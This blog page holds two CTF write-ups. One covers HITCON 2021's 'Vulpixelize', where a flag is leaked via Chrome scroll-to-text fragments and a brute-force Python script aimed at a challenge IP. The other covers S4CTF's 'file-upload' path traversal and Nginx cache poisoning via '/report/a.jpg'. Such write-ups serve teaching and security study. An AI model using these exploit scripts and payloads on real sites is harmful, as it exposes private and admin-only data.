Monday, December 13, 2021

Hitcon 2021' CTF - Vulpixelize

Vulpixelize Writeup

In this challenge –

we are given docker webserver with the following files:

1.      Dockerfile

2.      Simple Flask webserver with the following endpoints –

a.      GET /

b.     GET /submit

c.      GET /flag

3.      Selenium admin that initializes chrome-driver for automations

From the code it's easy to understand that we have :

1.      We can submit URL for the admin to inspect

2.      The flag is accessible only for admin from localhost:

@app.route('/flag')

def flag():

    if request.remote_addr == '127.0.0.1':

        return message(FLAG)

    return message("allow only from local")

3. When admin (the selenium' chrome-driver) gets our url it inspects it & return us pixelized snapshot of the resulting web-page, For Example, if we gave him https://linkedin.com:


The picture is pixelized and sensitive data is actually omitted


 

Attack Surface & Ideas

We would like to get the flag of-course, for that, let's just make the admin GET /flag, right?

Placing http://localhost:8000/flag (which is the open port in the localhost domain) we receive: 


 

Yes yes!! That flag is here! But wait a second, it's pixelized so we can't really see a thing, damn…

Ideas:

1.      Put it inside an iframe, make the font of sub-iframe bigger / rescale iframe / zoom into it somehow.

a.      Style seemed to doesn’t affect, both the style of parent html / and the style setup for the

iframe itself didn't really seemed to be that helpful.. merd..

2.      XSS in the localhost:8000 website would work for sure, just need to find some way I guess?

a.      No template/other simplest xss injections seems like falsk was used correctly..

 

Scroll To Text Fragments

But, wait a second – let's STTF it up!

Scroll To Text Fragements –  https://chromestatus.com/feature/4733392803332096:

1.      In chrome, whenever link ends with #:~:text=<TEXT>

2.      The TEXT quoted will be markered-up inside the page itself!

For example – 


You can now see the marked up text in the wiki page, this is the text fragment placed after "text="

in the browser address bar.

Now, before you continue to read – try to think how to break that challenge with that?

Hint – The flag format given to us is: hitcon{HEXCHAR- HEXCHAR…- HEXCHAR}

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


Solution:

Oh yes –

1.      We know that the flag will be something like this – "hitcon{HEXCHAR- HEXCHAR…- HEXCHAR}"

2.      Now, let's place the following url and give it to admin –http://localhost:8000/flag#:~:text=hitcon{

 

Yes it is, we can see here our flag marked!

The next thing we can do is the following:

1.      We can try "letter by letter" approach to get the flag.

2.      Try "hitcon{1", "hitcon{2", "hitcon{3", … until matched.

3.      Add char found to the prefix looked for and try again with the next letter, aka "hitcon{1-"..

This solved the challenge completely, using only STTF, no XSS or any other vuln. Cool 😊

Source-code:

import requests
import urllib.parse
import re

from PIL import Image

base_path =
'http://3.113.172.41:27196/'
url = '/submit?url=http%3A%2F%2Flocalhost%3A8000%2Fflag%23%3A~%3Atext%3D{TRY}'

# Run query
MD5_LEN = 32
HEX_CHARS = '0123456789abcdef'
cur_chars = 'hitcon{'
for i in range(MD5_LEN):
    pic_path =
'test.png'
   
got_char = None
    for
c in HEX_CHARS:
        cur_try = urllib.parse.quote(cur_chars + c)
       
print(base_path + url.format(TRY=cur_try))
        r = requests.get(base_path + url.format(
TRY=cur_try))
       
if 'static/images' not in r.text:
           
print('[+] Didn\'t got any picture for %s' % cur_try)
           
continue
       
# Get response picture -
       
regexp = 'static/images/[0-9a-z]*\.png'
       
regres = re.findall(regexp, r.text)
       
if not regres:
           
print('[+] Didn\'t got any picture for %s, by the regexp - ' % cur_try)
           
continue
       
pic_url = base_path + '/' + regres[0]
        r = requests.get(pic_url)
       
if not r.content:
           
print('[+] Couldnt get the picture... ', pic_url)
           
continue
       
open(pic_path, 'wb').write(r.content)
        img = Image.open(pic_path)
       
# If brightness is big enough - then we were markered up and we were kinda correct.
       
if (img.getpixel((467, 336))[0] >= 200):
           
print('Found the next char! ', c)
            got_char = c
           
break
    if not
got_char:
       
print('Didn\'t found any char... exiting...')
       
break
    else
:
        cur_chars += got_char +
'-'

print(cur_chars)

 

And The Flag:

hitcon{1-1-4-1-6-1-e-9-f-9-4-c-7-3-e-4-9-7-a-7-5-d-4-6-6-c-6-3-3-7-f-4}

 

 

Tuesday, April 27, 2021

S4CTF "file-upload": Poison All Things (OR Nginx Cache Poisoning)


 

So, the website is dependent on nginx, node.js with express.

Example of "/report" endpoint

One can observe the following endpoints:

  1. /login - GET

    1. In-Short: You type username - and server generates JwT token for you.

      1. Server will also save your current username connected with your

         cookie aka JwT token.

      2. If we type - “admin” as the username - the server will do 

        nothing and login fails.

    2. Ideas:

      1. Vuln in JwT token generation? - would we will be able to

         generate our own tokens? Somehow? Does it vulnerable?

      2. Vuln in json GET args validation? If we give a JSON in the GET 

        arguments instead of string - as the username - can we generate a token for 

        admin somehow? Maybe kinda due to some inconsistency? 

        Seems not because validating the type as a string.

        1. But it’s seems like its worth noting this scenario 

          where we give weird types in the arguments

          instead of wanted kinda real one.

  2. /upload - POST

    1. In-Short: Upload files to the server side.

    2. Ideas:

      1. HTML Uploading? Upload HTML file and give the link to the admin of course :)

        1. Not working as Content-Type is constant, 

          inside the “/files/” endpoint, they always return “Content-Type” 

          which is one of “.jpg”/”.js”/”.txt”/.. And not “.html”

      2. Upload file and override others? like traversal upload 

        and override some other kinda server files maybe?

        1. Nope - filename is generated by md5’ing 

          of some timestamp and the given filename as well.

  3. /report - GET

    1. In-Short: report links to admin OR show links if you’re the admin. 

      1. For the admin user - it returns list of URL’s for the admin to look over.

      2. For normal user - it returns an endpoint to upload a link 

        for the admin to review.

    2. Ideas:

      1. XSS in URL string? aka put /report " onclick=javascript:something 

         - well it doesn’t works and seems like kinda filtered.

      2. “javascript:” scheme inside reporting URL? starting point -

        yep this can kinda work - didn’t tried that though - as it seem like :)


Path-Traversal Vulnerability:

  • Inside “/files” endpoint - we can get other server files which are accessible.

  • This endpoint calls - “sendFile” function - which can be given “relative-path”.

  • They don’t santize our variables - “file”/”user” or token - so cool cool.

  • They only check that it ends with valid mime type - aka “.jpg” / “.js”

  • Because how the express.js works, 

    we can inject url-encoded strings inside the path after “/files/:file…”

  • We can end it with some 

    • Payload example:

       “/files/%2f..%2f..%2f..%2fa.html/user/token.jpg”


Nginx Configuration:

The nginx caching mechanism added, seemed like the most interesting one in here:

  1. What? They added caching for “.jpg” URL’s…

  2. How? Inside nginx configuration - directive of 

    1. location  ~* ^.(jp[e]g|png)$ { /* ADD_RETURNED_FILE_TO_CACHE } 


They used cache key as “$request_method$request_uri” variable.

So… Ideas? Can we inject into cache something secret… and then maybe kinda read it??


Where is The Flag?:

  • In-Short: shown in "/report" for the admin username only (after JwT validation).

  • So, if we have admin Cookie / JwT token somehow - we will win absolutely!!!

  • Hmmm... And what about the Nginx cache? Yes yes, If we can make the admin

     click /report and the server will cache it we are winning!

  • As node.js express endpoint works whenever the starting substring matches - 

    we can win using the following payload:

    Payload link example: /report/a.jpg


The Full-Attack:

  • Send admin a link to report page & 

    make it seems like jpg so it will be cached by nginx.

    • /report/a.jpg seemed to work

  • Query this page as another user - as nginx already cached this html page before -

    we get the previously shown /report HTML file that have been shown to the admin!!!

     

    Cached flag response :)





Hitcon 2021' CTF - Vulpixelize

Vulpixelize Writeup In this challenge – we are given docker webserver with the following files: 1.       Dockerfile 2.       Simple Flask we...